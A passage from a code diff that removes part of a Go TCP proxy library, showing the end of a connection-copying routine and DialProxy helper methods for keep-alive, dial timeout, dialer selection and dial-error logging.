-	}
-
-	// Unwrap the src and dst from *Conn to *net.TCPConn so Go
-	// 1.11's splice optimization kicks in.
-	src = UnderlyingConn(src)
-	dst = UnderlyingConn(dst)
-
-	_, err := io.Copy(dst, src)
-	errc <- err
-}
-
-func (dp *DialProxy) keepAlivePeriod() time.Duration {
-	if dp.KeepAlivePeriod != 0 {
-		return dp.KeepAlivePeriod
-	}
-	return time.Minute
-}
-
-func (dp *DialProxy) dialTimeout() time.Duration {
-	if dp.DialTimeout > 0 {
-		return dp.DialTimeout
-	}
-	return 10 * time.Second
-}
-
-var defaultDialer = new(net.Dialer)
-
-func (dp *DialProxy) dialContext() func(ctx context.Context, network, address string) (net.Conn, error) {
-	if dp.DialContext != nil {
-		return dp.DialContext
-	}
-	return defaultDialer.DialContext
-}
-
-func (dp *DialProxy) onDialError() func(src net.Conn, dstDialErr error) {
-	if dp.OnDialError != nil {
-		return dp.OnDialError
-	}
-	return func(src net.Conn, dstDialErr error) {
-		log.Printf("tcpproxy: for incoming conn %v, error dialing %q: %v", src.RemoteAddr().String(), dp.Addr, dstDialErr)
-		src.Close()
-	}
-}